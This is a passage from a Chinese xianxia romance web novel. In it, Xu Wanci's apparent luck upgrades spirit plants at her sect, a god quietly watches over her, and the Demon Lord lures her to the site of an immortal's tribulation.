天际之中,萧玉衍手中所有的天道之力,都消散在了虚无中。 他明明早就知晓,却又在一遍一遍从许晚辞口中确认。 她唯一挚爱,愿意付出一切的人,只有‘他’。 其他所有人,言朔也好,白舟也罢,甚至于他,与她而言,都不过寻常而已。 一道天道之力凝成的镜面悄然出现在了他的面前。 萧玉衍沉默地看着镜中的自己。 他的唇角一点点上扬,双眸中有规则与万物隐现,却归于一片淡漠之中。 他蓦然闭上双眼,面前的镜面片片碎裂。 镜片融入虚无之中,混沌动荡,却从始至终都没有伤到身侧那株灵气捏成的化雨昙。 第67章 许晚辞才是真正的气运之子吧 三个时辰的修炼过后。 许晚辞终于收起九霄剑, 坐在暗玉桌旁调息灵气。 幻颜树叶一片片随风飘落,却都绕过了她的周围,没有打扰到她分毫。 半炷香后,她睁开双眼。 再次修炼之前, 她端起了暗玉桌上的浅蓝色杯盏, 随意的抿了一口, 便站起了身。 天际之中。 仿若镜像一般。 萧玉衍也坐在了暗玉桌旁, 指节修长的右手之中, 同样握着一盏清茶, 他遥遥举杯, 对面却空无一人。 只留满地的孤寂与落寞。 只有不远处灵气捏成的化雨昙随风飘摇,是虚无之中,唯一的亮色。 * “晚辞!” 就在许晚辞站起身想要继续练剑之时, 门口忽然传来一声呼唤。 下一瞬, 一个熟悉的身影从门口闪过, 转瞬便来到了她的身前。 江秋宁身上穿着一身淡黄色的劲装,衣领绣着暗金色的云兰,腰上的腰带却是金玉镂空而成, 虽然看起来简单,却又华丽精致。 她三千发丝被一支发簪挽起,更衬得她眉目如画。 与之前温柔高贵的装扮不同, 如今的她, 有着温柔的本性, 却又多了几分干练的洒脱。 仿佛卸下了什么包袱一般,看起来真实了许多。 江秋宁牵住身前人的双手, 声音亲近,还带着曾经从未有过的轻快: “晚辞, 我来找你了。” 许晚辞身体僵硬了一瞬,感受到有些熟悉的气息后,才放松了下来,声音带着一丝迟疑: “秋宁。” 江秋宁根本没有在意洒在她脸上?? 灼眼的阳光,她笑盈盈地看着身前人: “晚辞,那日我急着回江家,还没来得及祝贺你。” “恭喜你成功晋升化神。” 她拿出一根从江家库房中好不容易才找到的三千年的青玉丝,用灵气轻巧地挂在了三叶莲之上,代替之前简单的六品灵线,系在许晚辞的腰间,“我找了许久。” “觉得这或许是晚辞最需要的。” 她知道三叶莲对于许晚辞重要性,所以并未直接触碰,全程都是以灵气串联。 许晚辞察觉到她的动作时,从来足够警惕的她下意识运转起体内的灵气,只是在看到身前人俯身专注的神情,像是意识到了什么。灵气消散,目光也逐渐放柔。 江秋宁是她为数不多,愿意相信的人。 一息后,江秋宁站起身,笑盈盈道:“晚辞喜欢么?” 听到她的话,许晚辞低头看了一眼腰侧,青色如玉的丝线下,三叶莲如同往常一般,安静的落在她的衣裙之上。 曾经系着三叶莲的丝线,也是江秋宁所赠,只可惜丢失在了魔界。 她……真的帮了她许多。 想到这里,许晚辞抬起头,认真地道谢: “多谢秋宁,我很喜欢。” 她抬起头,终于看清了身前人的现状,她扫过她略显苍白的面色,眉头微不可查的皱起: 江秋宁……受伤了? 有谁能伤到江家少主,却又不曾触怒江家? 而且如今看她的神情,伤势非但没有给她造成什么影响,反倒像给她带来了什么好处一般,让她变化甚大。 仿佛是想到了什么,许晚辞目光一动,却最终什么都没有说,没有问。 江秋宁察觉到了她视线的停顿,看到她未曾开口询问后,她眼中的笑意愈发真切。 后背上的疼痛对于如今的她而言,是解脱。 她终于把违抗父亲决定之事摆在了明面上,她在江家祠堂里,把与楚青川决裂的事情和盘托出。 禁锢了她几十年的枷锁,随着那一道道家法,终于消散。 她终于能够真正做回自己,而不是那个楚青川喜欢的温柔大方的江家少主。 或许是父亲也是疼爱她的,又或许是因为她如今与许晚辞的关系太过密切,让他不得不慎重。 即使她毁掉了江家几十年的筹谋,最后也父亲只是让她冷静一番,连禁足都不曾有。 无论是因为亲情还是因为利益,从今日起,她终于自由了。 想到这里,江秋宁温婉的眉宇间带上了几分神采飞扬的气息。 她扫过许晚辞手中的九霄剑,根本不用猜测,就知道她必定已经修炼了许久。 想起曾经许晚辞日夜不息修炼的模样,她拉住她的手,轻轻晃了晃: “晚辞,之前来太清宗时,我只顾着忙其他事情,还从未欣赏过这里的风景。” 她一脸期待道: “如今终于有了闲暇,晚辞愿意与我一同看一看太清宗的景色么?” 知道许晚辞醉心修炼,她又补上了一句: “只需要一个……不,半个时辰就好,就当散心。” 许晚辞看着江秋宁眼中隐隐的乞求,拒绝的话隐在了唇边。 原著中,江秋宁的一生都围绕着楚青川,她与江家,是身为男主的他最大的金手指。 她禁锢了自己的喜好,限制着自己的修为,把所有的天材地宝都尽数供给了楚青川。 到最后,江家在他一次次吸血中没落,江秋宁也逐渐磨灭了自己的本性,成了一个大方得体的楚青川道侣。 看着如今眼前真实而轻快的身影,许晚辞轻声应道: “好。” 万剑锋旁边的灵峰是落林峰,峰内灵气四溢,土壤也是修仙界难得的珍品。 这里是太清宗专门种植繁育灵植的地方,哪怕内门弟子,没有任务与宗门许可,都不可擅入。 许晚辞并不知晓,她看着其中郁郁葱葱的灵植,顺着山脚走了进去,没有受到任何阻拦。 她身边的江秋宁想要说些什么,却在看到她平静中带着细微好奇的神情后,把所有的话都咽了下去。 两个人就这样安静地走在落林峰中。 随着她们的深入,周围的灵植也逐渐从三品,来到了四品,五品。 许晚辞看着前方的景色,心情渐渐放松下来。 自从来到修仙界后,她精神便一直紧绷,即使周围的环境安全,她也不得不为了让自己更好的活下去,努力修炼,不能停歇。 她从未有过这样清闲惬意的时刻,仿佛周围的时间都慢下来了一般。 就在这时,她看着不远处结满果子的明甜树,脚步放慢了一瞬: 她记得明甜果是原著中最好吃的灵果之一,甘甜清冽,果香十足。 虽然灵效不强,只能锦上添花帮助丹药散发果香,但却是不少修士的桌上美食,喜爱者众多。 也不知明甜果,到底是什么味道。 她早已经习惯了控制自己的表情,不论心中在想什么,脸上的表情都不会有分毫体现,只会是一如既往的平静。 甚至于在发呆时,她眼中还会习惯性的带上自己都不会察觉的伤怀与叹息。 江秋宁的目光一直都放在身边的许晚辞身上。 她第一时间察觉到了她步伐的停顿,也看到了她看向明甜树时的情绪波动。 她一直都知晓,能让许晚辞产生波动的事物,只会与清衍仙尊有关。 是这棵树么? 让她又想起了那个人。 想到这里,她看向许晚辞的目光中带着止不住的疼惜与担忧。 天际之中,萧玉衍也如此以为。 他体会着胸中的苦涩,依旧固执的没有移开目光。 他知道除了曾经的‘他’外,许晚辞根本不会在意任何人。 所以即使觉得江秋宁的存在碍眼,却始终未曾真正在意。 萧玉衍看着下界之中的明甜树,指尖天道之力一点点凝聚: 不过是一段与‘他’相关的记忆。 只要盖过这段记忆便好。 让她想起明甜树时,忘掉曾经,只记得如今这一幕。 他为她而做的这一幕。 天际中,无数天道之力静静地落在了不远处的明甜树上。 明甜树周围灵光大作,品阶也开始逐渐攀升。 五品、六品、七品……最终停到了九品之上。 浓厚的灵气化作灵雨,落在了许晚辞的身上。 九品灵植的气息,越过落林峰的结界,传遍了半个宗门。 许晚辞感受着前方愈发清甜醉人的果香,垂眸敛住了眼中的惊讶: 原著中,有出现九品明甜树么? 她没有得到答案,只能把一切归结于意外。 她身边的江秋宁,眼中也是罕见的震惊。 几息之间,一个灵植便从五品一跃成为了九品。 这种神迹,怕是修仙界从未有人见过。 这时,察觉到动静的宁孟澜于几位长老都赶了过来。 看着九品明甜树,宁孟澜目光呆滞,他强忍住所有的震惊,声音颤抖地问道: “晚辞,江少主,你们知道刚才到底发生了什么吗?” 明甜树受自身所限,最高只能停留在五品,修仙界根本不曾有过九品明甜树。 如今太清宗居然……出现了九品明甜树! 许晚辞把事情的经过简单的陈述了一遍。 宁孟澜总结了一遍她的话,声音飘忽:“所以,只是一个意外。” 几百年了,太清宗可从未有过这种天上掉馅饼一般的‘意外’。 谢听白摘下一枚明甜果,用灵气探查了一番,声音带着几分思索: “九品明甜果,似乎能加强丹药最终的药效。” “若是炼制齐云丹时有它在,怕只是一枚齐云丹的药效,就能与玄云兰等同。” 宁孟澜等人神情震惊中带着抑制不住的惊喜: “九品明甜果居然有如此之功效!” 越是高品阶的丹药,提升一分便愈是艰难,但这一分的作用,却足以让所有人心动。 试想,若是一枚结婴丹,先前只有七成概率结婴,可加入明甜果后,概率就能提升到八成甚至更多! 想到这里,宁孟澜呼吸都变得急促了许多。 听到他们的谈论,许晚辞微微低头,仿佛发呆一般,看着不远处的一朵浅蓝色的命寿花: 若九品明甜果真有这种功效,原著不可能不提。 如今这个世界,与原著的差别,好像越来与大了。 天际之中,萧玉衍的眼中从来没有其他人。 众人之中,他只看向许晚辞。 看着她停留在命寿花上的目光,他微微抿唇,仿佛是在吸引她的注意一般,天道之力再次挥洒,落在了她目光所及之地。 于是,所有人都见到了四品命寿花升阶的壮观景象。 湛蓝色的灵气在命寿花上不断翻涌,变得愈发浓厚,五品,六品……到了九品还在继续。 最终停在了半步仙品之上。 半步仙品啊! 本来只能提升元婴修士寿数的四品命寿花,如今成为了能让渡劫修士延寿的至宝! 这是修仙界多少渡劫尊者梦寐以求,却根本无数寻觅的至宝啊! 江秋宁看着这株命寿花,周身的灵气不受控制的停滞翻涌,眼中满是心动。 许晚辞面色不变,心中却有了答案: 或许,她真的得到了楚青川一半的气运。 原来气运强盛,是这种感觉么? 所到之处,机缘遍地。 回过神来,她察觉到了身侧气息的变化,转过头看向身旁的江秋宁: “你想要它么?” 江秋宁下意识点了点头。 江家只有一位渡劫后期的尊者,那便是江家老祖。 江家老祖的存在,是江家能维持修仙界第一世家的底气。 只是老祖寿数将近,只有短短十几年的寿命,根本没有时间等候机缘到来。 可若是有这株命寿花…… 江秋宁猛地回过神,她并未直接开口讨要,而是一脸认真道: “晚辞,我可以用江家至宝作为交换。” “无论你想要什么至宝,就算江家没有,也会拼尽全力为你找来。” 许晚辞并未直接回答,而是看向前方双手不断颤动的宁孟澜。 宁孟澜等人都看到了之前许晚辞看向命寿花的目光。 所有的疑惑随着这个目光,都有了解答。 这两株灵植的升阶,与太清宗并未有什么关联,一切都只是因为……许晚辞。 许晚辞身上的气运影响,所以才引发了如此惊人的异象。 他深吸一口气道: “命寿花能升阶,与晚辞气运息息相关。” “此物去向,由晚辞决定就好,太清宗绝无异议。” 其余几位长老也纷纷点头。 即使年纪最大的大长老,依旧有着千年寿数,如今根本不需要命寿花。 许晚辞听到宁孟澜的回答,转过头认真道: “我很喜欢青玉线,以它交换就够了。” 江秋宁深吸一口气,声音是抑制不住的感激: “晚辞,你稍微等我一会儿,一会儿就好。” 她何其有幸,有许晚辞这样的好友。 若不是她,她怕是如今依旧不敢反抗父亲决定,一生都会留在楚青川身边。 她灵气点亮了一张通讯符。 听着通讯符中传来的声音,她腰背骄傲的挺直,即使对面的人是她积威甚重的父亲,她的声音依旧带着江家少主独有的矜贵与傲慢: “父亲。” 不知对面说了什么,她眉梢微挑: “晚辞找到了一株半步仙品的命寿花——” 她还未说完,所有人都听到了通讯符中的声音: “什么?!” 震惊过后,江家家主的声音带上了一丝恍惚: “宁儿,你不是骗为父吧?” “你说你找到了什么?” “是晚辞找到的。”江秋宁纠正到。 说到这里,她笑盈盈地看了一眼身侧的许晚辞,声音却依旧矜傲: “父亲,您若是方便,可以让人来取。” “只是此物珍贵,您应该舍得江家十大至宝之一的玦尘玄晶吧。” 玦尘玄晶也是半步仙品的至宝,能助修士以神识攻击,是晚辞如今用得上的至宝。 江家家主的声音干脆利落: “我这就亲自带着玦尘玄晶,前往太清宗。” “宁儿,你一定要护好命寿花!” 放下通讯符后,江秋宁使劲地抱住了许晚辞: “晚辞,真的谢谢你。” 许晚辞一只手拍了拍她的后背,声音无奈: “你都用至宝相抵了,又何须言谢。” * 这几日中,所有人都得知了太清宗发生的事情,也知晓了许晚辞的气运有多强盛。 不少尊者纷纷前来拜访。 虽然没有像江家一般得到命寿花这种举世罕见的至宝,但大都也带了一枚明甜果回去。 与许晚辞说过两句话的无极宗宗主,更是得到了一个清云蝶。 众人不由感叹: 谁说楚青川是气运之子? 明明许晚辞才是! 楚青川在太清宗几十年,给太清宗带来什么了?又给江家带来什么了? 许晚辞不过声名鹊起一年的时间,先是救了上古战场中的太清宗弟子,又是为太清宗找到了一座灵脉,更不用说齐云丹与如今的明甜果。 就连与许晚辞关系稍好的江家,都得到了最需要的命寿花! 一时间,所有宗门世家与太清宗的关系,好得仿若兄弟一般。 白家与其他宗门世家的欢喜格格不入。 楚青川来到白家的第一天,便把白家流传了几百年的玄冥蛊收服。 白家的至宝,忽然就成为了他的灵宠。 白家还来不及心疼,祖宅中潜藏了百年的络灵参就恰巧被楚青川发现,又恰巧被他吸收。 几日的时间,白家上上下下,一片死寂。 白家家主听着手下汇报的有关太清宗的事情,脸色漆黑。 等着手下离开后,他看向自己面容娇俏,看起来清纯无辜的小女儿白挽衣。 “衣儿,白家从来都不是做善事的人家。” “再继续让楚青川待在祖宅,谁也不知道会发生什么。” 白挽衣杏眼无辜的眨了眨: “那父亲想要做什么?” “我听闻楚青川从蚀魂密林中平安归来。”白家家主捋了捋自己的胡须道,“那其中,可有不少灵宝。” 若是楚青川真的气运非常,自然能活着回来。 若不然……也好。 不要耽误白家去讨好真正的气运之子。 “蚀魂密林太危险了。”白挽衣揉捏着自己的袖口,“万一出事了怎么办?” 说到这里,她抬起头,面容真诚道: “那女儿就趁着这段时间,多套出一些楚青川身上的灵宝。” 她抿着唇,声音无奈: “若是他真的出事,那我就只能凭借这些灵宝怀念他了。” 第68章 她需要的,从来不是密不透风的保护 自从大婚那日之后, 整个魔界魔魔自危,所有魔都夹起尾巴战战兢兢、不敢擅动,生怕引起魔尊的注意。 七大魔将因为必须向魔尊汇报魔界事宜,短短几日, 身上的魔气已经削减了一半, 这倒也还好, 更让他们惶恐的, 是不知道自己的魔命, 还能在暴怒的魔尊手下留多久。 夜潇看着前方已经重建了两次的暗庭殿, 深吸一口气, 视死如归的走了进去。 暗庭殿中一片漆黑,魔气厚重混乱,竟有了几分混沌之感。 王座之下, 又多了几十个顶阶魔兽的尸骨。 言朔斜倚着坐在王座之上, 双目带着猩红的暗色, 他搭在王座上的右手因为那日的伤势,有几根手指已经只剩下了森白的指骨,白骨之上魔气纵横, 将他的右手逐渐修复。 可手上的伤势在完全恢复之后,却又后肉眼可见的重回白骨。 循环往复,从未休止。 言朔感受着体内直接撕碎然后在废墟之上重组的魔识, 右手缓缓握紧, 身体上疼痛却让他的心中多了几分疯狂的快意。 他听着夜潇口中这些时日许晚辞在修仙界中的经历, 轻笑出了声,声音平静却又带着压抑的疯狂: “我的晚辞, 真是在哪里都能过得很好。” 在魔界,能让他舍不得伤她分毫。 在修仙界, 更是有所谓气运傍身,引得修仙界震动。 言朔垂眸,温柔的抚过通红如血的魔珠: “真想看一看她如今的模样。” “然后……” 亲手毁掉。 夜潇缩着身子,小心翼翼地把自己的身形隐匿。 听着王座之上传来的声音,她面色愈发苍白: 她的分身刚从修仙界中回归,所以她分外清楚许晚辞这段时间在修仙界引起的震动。 一个气运强盛还牵扯着无数人因果的修士……修仙界的那群人,怕是已经严防死守,将她护了个密不透风。 他们不可能如同上次一般将她掳到魔界。 莫说掳走,如今太清宗全宗戒严,她的分身都无法进入,魔界之人,怕是根本见都见不到许晚辞。 更何况魔尊身上伤势根本没有来得及休养,若是去到修仙界,怕是…… 想到这里,她颤颤巍巍道: “陛下,魔后如今被小人蛊惑,对您误解甚多。” “可能……不是那么想见您,属下的意思是,魔后可能需要时间冷静一下。” 或许是夜潇口中的‘魔后’二字取悦了言朔,他眼中的猩红褪去了一分。 漆黑的魔殿中,他的声音温柔而缱绻: “她怎么可能不想见本尊呢?” 他站起身,一字一句道:“她会抛下修仙界那群道貌岸然的修士,求着见我。” 谁让,她从未隐藏过自己的软肋。 言朔隐住心中对萧玉衍的厌恶,眯起了猩红的双眸: “死人留下的东西,没了,可就不会再有了。” * 太清宗中。 大长老感受着从半空横扫而过的强横神识,看向万剑锋的目光多了几分赞赏: 才不过三日,就能将神识凝练到如此地步。 如今她神识凝成的这一击,怕是足以伤到渡劫中期的修士。 要知道,她的修为不过才化神啊。 许晚辞在神识一道上的天赋,远远超出了他的预计。 有这般强悍的自保手段,他也终于能放心些许了。 小院中。 许晚辞收回神识,面色带上了一丝苍白。 刚才那一击,用尽了她所有的神识。 她感受着干涸识海中三叶莲温柔的滋养,安静地闭上双眼,开始调息。 天际之中,萧玉衍看着她疲惫但却透着坚韧的眉眼,忽然想起了那日她在魔界一剑击杀魔物的场景。 她瘦削的身体下,有着一个强大不屈的灵魂。 一个,让人不自觉想要靠近的灵魂。 看着下界中许晚辞因为那一击不自觉扬起的唇角,萧玉衍清冷淡漠的双眼中,带上了落雪般的温柔。 他已经有了人的情绪,也终于开始理解凡尘中的喜怒哀乐。 无论是痛苦,还是欢喜,他都欣然接受,然后无声沉迷。 只要与她有关,似乎什么都是好的。 小院中,一阵微风轻柔地拂过许晚辞的周身,掀动了她的长发。 一只能恢复神识的纤羽蝶顺着微风飘来,落在了她的额间。 一阵轻柔的光芒亮起,她识海中的神识,以肉眼可见的速度充盈了起来。 三息过后,她睁开双眼,浅白色的纤羽蝶亲昵的落在她的手背上,确认她神识终于恢复后,它在小院中飞舞了几圈,最终恋恋不舍的离开了这里。 许晚辞看着翩翩离去的纤羽蝶,眼中没有欣喜与庆幸,反倒是带着一丝疑惑与警惕: 与之前用尽心机才能活下去相比,她这段时间的经历,似乎有些太顺利了。 真的是因为她分走了一些楚青川身上的气运么? 她垂眸看向自己握着玦尘玄晶的右手,若有所思地眨了眨眼睛,回忆起了原著剧情: 若是她没记错的话,原著中楚青川只要缺什么灵宝,下一步必然能够获得,即使有些他修为低时不敢肖想的至宝,也会被他毫不费力的得到。 比如,她曾经用尽全力却还是失去的无相神石。 楚青川每遇危机时总会有贵人相助,正本小说中,他从未遇到真正意义上的危险。 她如今的气运虽然强盛,可却从来都伴随着危机,这几日内得到的灵宝对她而言却也并非必须。 这样一看,她没有必要为如今的气运感到慌乱。 想到这里,许晚辞无声地舒了一口气。 就在她想要起身再次修炼之时,大脑忽然涌上一股抑制不住的困意。 她用仅剩的理智握住了腰侧的三叶莲,之后便再也没有了意识。 天际之中,萧玉衍感受着逐渐侵入万剑锋的阴影,目光冰冷淡漠。 他手中的天道之力带着清寒的压迫,一寸寸落在了整个太清宗中。 只要他想,他可以帮许晚辞抵挡住这世间所有的危险。 他可以让她拥有安逸顺遂,让所有人都艳羡的一生。 只是,这真的是她想要的么? 萧玉衍右手微抬,却在确认许晚辞不会受伤的那一刻,安静的落了下来。 感受着心中涌起的那些护住她的冲动,他微微垂眸,遮住了眼中所有的情绪: 他从苏醒后,见证了她所有的经历。 她需要的,从来不是密不透风的保护。 萧玉衍微蹙着眉心,手上隐隐有青筋涌现,却最终没有动作。 他需要的,不是扼制所有的危险。 而是让她拥有抵抗危险,击碎险境的能力。 他希望她永远能够肆无忌惮,做她想做的事情。 总归,他能护她平安,无论何时,无论何地。 萧玉衍静静地看着许晚辞梦魇中的情景,他周身的虚无,不知是察觉到了什么,悄悄地后退了些许,小心地拉开了与他的距离。 另一边,许晚辞感受着熟悉的魔域气息,有些自嘲的想到: 果然,这才是她最真正的气运。 她早已习惯了这种针对她而来的险境,第一时间让自己冷静下来,心中理智的分析着: 这是言朔的魔域。 言朔终究是魔修,就算再厉害,也不可能毫发无伤的越过太清宗的阻碍,更不可能把她掳走。 所以,即使他使用了魔域,想来也不可能坚持太久。 有三叶莲的帮助,没有人能在幻境中迷惑她,她只需要拖过这段时间就好。 就在这时,许晚辞忽然察觉到了身后的魔气波动。 她蓦然转身,看到了一身黑衣,魔气森森的言朔。 曾经强大张扬,睥睨众生的魔尊,如今看起来多了几分阴冷与森寒。 他周身的魔气更是狂乱不堪,随时都能将周围的一切粉碎殆尽。 言朔看向许晚辞的目光复杂中带着隐忍的怒意,看到她身上的蓝衣与腰侧的三叶莲后,他不怒反笑,唇角的笑意温柔的让人惊恐: “真是好久不见,我的魔后。” 许晚辞并未在意他的称呼,她用神识护住自己,声音疏远:“魔尊前来我太清宗,有何要事?” 言朔看着她满是警惕的双眼,忽然想起曾经她失忆时对他亲近依赖的模样,他猩红的双目中,好似藏着隐蔽到让人难以察觉的悲伤。 他右手的指节,依旧是寸寸白骨,可是身前的人,莫说关心,连看都不曾多看一眼。 真是……无情啊。 他轻笑一声,声音讽刺: “他到底有什么好,让你一百年了,依旧念念不忘?” “你以为他真的爱你么?” 言朔向前走了一步,周身魔气翻涌,逐渐将她环绕: “你不过是他无聊时的消遣罢了,一个随时都可以抛弃的消遣。” “百年前,他明明有别的选择,只要他想,没有人能够强迫他做任何事情。” “他若是爱你,他自然会为了你活下来,又怎么会独留你一人百年。” “一百年啊,他除了痛苦,还给你留下了什么?” 说到这里,言朔扫了一眼她腰侧的三叶莲,声音嘲讽: “对,还有这一个让你几次三番受伤濒死的无用法器。” 他不顾身上伤势,强行将魔域的威力加深到最强: “他根本不爱你。” “晚辞,只有我永远不会抛弃你,会永远陪着你。” “只要你回来,你就是我永远的魔后。” 许晚辞能感受到言朔的魔域,也能感受到魔域对她的蛊惑,可是她的思绪却从事始终都十分清晰,根本不受魔域控制。 三叶莲在魔域中给予她指引,并不能有如此作用—— 是因为她神识比之前强大了些许么? 还是她身上发生过什么她自己都没有察觉到的事情? 这时,言朔的魔气已经被魔域抽空,他面色惨白,却依旧没有停下动作,他柔声诱哄: “晚辞,为什么要爱一个抛弃你的人呢?” “只要你向前一步,地位、至宝,甚至是爱,无论你想要什么,都可以拥有。” “过来吧,我的魔后。” 许晚辞终于抬起了头,眼中满是清明,未有分毫动摇。 她没有反驳,也没有解释,只是平静道: “所以,你永远都成为不了他。” 虚无之中,萧玉衍手中的天道之力微微一滞,随后无声继续,护住她的神识清明。 看着她在魔域之中的表现,他心中的情绪,从愧疚,再到酸涩。 人间百味,因为她,他一一尝遍。 虚无之中,仿佛有无形的千年霜雪落在了他的身上,他周身的气息多了几分的凛冽与清苦。 只是他看向许晚辞的目光,却从来只有专注的温柔。 魔域里,听着许晚辞的回答,言朔愤怒到了极致,却又在一瞬间平静下来。 他感受着周身入骨的痛意,笑得疯狂: “晚辞,你不是想让他活过来么?” “修仙界中,若有一处地方还有他的神魂,只能是那里。” “萧玉衍的渡劫之地。” 许晚辞的身体蓦然一僵。 言朔看到她的反应,蓦然攥紧了双手,声音中满是恶意: “我在那里等你,三日后,你若不来。” 他柔声道:“我便毁了那里。” 下一瞬,魔域碎裂,伏在暗玉桌上的许晚辞蓦然醒了过来。 她深吸一口气,终于平复了自己急促的心跳。 清衍仙尊的渡劫之地,原著中,楚青川得到晋升渡劫机缘的所在。 若只是关乎渡劫机缘,那她根本无需在意。 真正让她心动的,是机缘中所隐含的那一丝飞升成仙的契机。 她蓦然闭上双眼,遮住了眼中的野心: 为什么不能是她呢? 她已经得到了楚青川的许多机缘,甚至得到了他一部分的气运。 若是她能飞升成仙—— 那她就能得偿所愿,不用担心谎言被识破,不用担心随时失去生命,也不用担心魔尊与楚青川的存在,能随心的活下去。 她本想着大乘后期之后,再去寻这一丝机缘,如今看来,不能等了。 若是那里真的被言朔毁掉,在楚青川气运的压制下,她可能永远都会晚他一步,再也找不到其他飞升的可能。 这一行,她非去不可。 第69章 她以身为盾,护住了那人或许存在的神魂 天际之中。 萧玉衍看着许晚辞平静却又坚决的目光, 护在她身上的天道之力沉默退去,却依旧停留在她身侧不远处,护她平安。 他已经知晓了她的决定。 即使她知道那是一个针对于她的陷阱,即使她知道言朔已经在那里布下了天罗地网, 即使那里不过只是一处‘他’的渡劫之地—— 她依旧决定赴约。 就如同曾经每一次为‘他’做的那些事情一般, 拼尽一切, 不顾自身。 萧玉衍站在原地, 那凝聚万物却又超脱世俗的双眸中, 带上了一丝茫然的困惑: 他做的事情, 真的能盖过那些她与‘他’的曾经么? 他真的有以现在的身份出现在她身前的那一天么? 答案, 其实他早已知晓。 萧玉衍看着下界之中的许晚辞,眼中所有的情绪,都沉寂了下来。 不知从何时起, 虚无之中, 也有了凡尘的风雨之象。 轻飘飘的霜雪从虚无尽头而来, 落满了神明周身。 太清宗中,宁孟澜等人察觉到了魔尊的气息,第一时间来到了万剑锋上。 他们看着安坐在暗玉桌旁, 看起来并未受伤的人,终于放心了些许。 最是直来直往,耐不住性子的顾云绮一个箭步来到许晚辞身边, 抓起她的手, 用灵气探查一番后, 仍不放心的问道: “晚辞,你有哪里不舒服么?” 许晚辞看着她关切的目光, 轻轻摇头: “三长老放心,我并没有受伤。” 听到她的回答, 不远处的宁孟澜非但没有放松,反而愈发紧张: “方才魔尊真的来过?” 太清宗如此严密的防护,居然还是让魔尊找到漏洞了么? 大长老与二长老更是直接以灵气扫荡了整座万剑锋,毫不留情的驱逐着峰上的魔气。 许晚辞看着所有人如临大敌的模样,站起身对着众人行了一礼,解释道: “魔尊并非亲身前来,只是将我的意识拉入了魔域之中。” “在太清宗阵法挟制之下,他并不能久留,只要我能在一炷香的时间之内保持清醒就够了。” “所以我并未受伤,神识也安然无恙。” 听到她的话,其他人的表情非但没有放松,反而愈发凝重。 他们都知晓魔尊魔域的恐怖,莫说一炷香,就是几息,寻常尊者怕是都难以抵抗。 若不是许晚辞内心坚定,怕是早已经被魔尊控制,无声无息的离开了太清宗。 太清宗是有无数阵法阻止魔修的进入,可却从未限制宗门弟子的离开。 谢听白最先回过神来,他略一思索,便察觉到了不对。 他定定地看着许晚辞,从来温润的声音中多了几分不安: “晚辞,魔尊在魔域中,与你说了什么?” 魔尊如此大费周章,不可能只是为了见她一面。 许晚辞看着所有人焦急担忧的目光,握着三叶莲的手微微用力。 若是曾经,她或许会把一切藏于心中,自己一点点筹谋,找到那丝机缘,然后找寻从魔尊手中逃离的方式。 可是现在…… 想起太清宗为了救她所做的那些事情,她长长的睫毛微微颤动: 她从来都无法忽视其他人对她的善意,也没有办法对着真正关心她的人隐瞒。 许晚辞侧头移开了视线,将魔域中的一切和盘托出。 她知道此行有多危险,也知道众人不可能应允,所以未等他们开口,就认真地解释道: “魔修在修仙界中修为会受到限制,况且魔尊之前的伤势并未好全,我有玦尘玄晶在手,神识已经能与渡劫中期修士相当。” “哪怕是魔尊亲临,我亦有一战之力。” “更何况,那是……他的渡劫之地,那里?? 的气息,对仙魔两界中的任何修士,都有着压制。” “我在其中,哪怕面对的人是魔尊,也有着足够优势。” 众人听着她近乎焦急的解释,心中发出了一声轻叹: 果然,一直以来,能让许晚辞失态的人,从来只有清衍仙尊。 谢听白最先开口: “魔尊既然会以仙尊渡劫之地作为要挟,想必早已在那里布下了无数陷阱。” “魔界至宝众多,渡劫之地虽对人影响甚大,但对灵宝的削弱,怕是只有一半。” 他看着许晚辞微微垂下的眼睛,叹了一口气道: “今日回峰后,我多炼制一些丹药,有备无患总是好的。” 许晚辞蓦然抬起头,眼中带上了一丝不可置信的诧异: 谢听白的意思是…… 宁孟澜也摇了摇头,一脸无奈道: “我去太清宗库房里翻一翻,近日其他宗门送来了不少灵宝,说不定能派的上用场。” 顾云绮一拍巴掌:“正巧我这段时间研究了一个威力强大的护身阵法。” “这次正好可以试一试!” 众人纷纷找寻起了合适的灵宝,希望能助她此行平安顺利。 最后,大长老看着许晚辞,目光和蔼: “既然决定赴约,那自然要做好万全的准备。” 他们每个人都知晓仙尊对她的重要性。 曾经只是为了一个三叶莲,她便生死不顾,如今更是仙尊当年的渡劫之地,恐怕前方是刀山火海,她也依旧要闯。 他们总不能不顾她意愿,强行将她困在宗门吧。 许晚辞看着周围太清宗众人无奈却又妥协的神情,怔愣在了原地。 这种已经与纵容无异的尊重,让她心中蓦然涌上了一股暖流。 她抿着唇,对着众人深深行了一礼,声音满是真诚与感激: “晚辞谢过宗主,众位长老。” 宁孟澜用灵气托起了她,仿佛玩笑一般道: “只有一点,此行,我们必须陪同。” * 原著虽然写过清衍仙尊渡劫之地的所在,只是终究只有一个大概方位,再加上此地已经有了些许灵智,能够隐藏自身。 所以许晚辞已经做好了寻找许久的准备。 可她没有想到,这一行,会这样顺利。 看着前方出现的浅蓝色云层,她垂眸隐住了眼中所有的惊讶。 她身边的宁孟澜与几位长老,在靠近云层的那一刹那,便感受到了仿佛无穷无尽的压迫,丹田中的灵气也开始不受控制的动荡。 这种压迫感—— 看来,他们已经来到了目的地。 许晚辞跳下飞舟,许久不见其他人出现,她有些疑惑的回过头,就见到了所有人苍白的仿佛从一个模子里刻出来的面色。 她后知后觉的想起仙尊威压对于其他人的震慑。 有着三叶莲的她,根本不曾察觉到不对,反倒觉得此处的灵气格外怡人,让人流连忘返。 她小心翼翼地问道:“宗主,长老,你们还好么?” 宁孟澜顶着许晚辞的视线,颤颤巍巍的跳下了飞舟,他强撑起上半身,若无其事道: “晚辞放心,本宗主无事。” 其他几位长老也都‘从容’点头。 顾云绮用阵法排查了一下周围,对着众人点了点头:“这里并没有什么不对。” 许晚辞闻言放松了些许: “接下来,只需要找到渡劫之地入口便好。” 宁孟澜目光凝重地点了点头: 魔尊说不定就已经在周围等候,他们必须足够小心。 也不知是不是许晚辞气运惊人,她只是往前走了一步,便感受到了一股吸力,下一瞬便消失在了原地。 众人根本来不及反应,即使大长老反应过来后,以最快时间用灵气试探,依旧找不到入口。 渡劫之地,根本不想让他们进入。 另一边,许晚辞站定后,看着只有苍茫雾气存在的渡劫之地,微不可查的皱起了眉头。 即便有三叶莲的帮助,这里的灵气,依旧厚重到让她有些难以承受。 雾气落在她的衣裙之上,凝成了一滴滴的水珠,然后缓缓渗入她的身体,拓宽着她的经脉。 许晚辞下意识运转起体内的灵气: 在这里修炼,比外面修炼要快上五倍有余。 不愧是仙尊的渡劫之地。 这时,一阵血肉被腐蚀的声音传入她的耳畔。 她顺着声音传来的方向看去,看到了白雾尽头处的言朔。 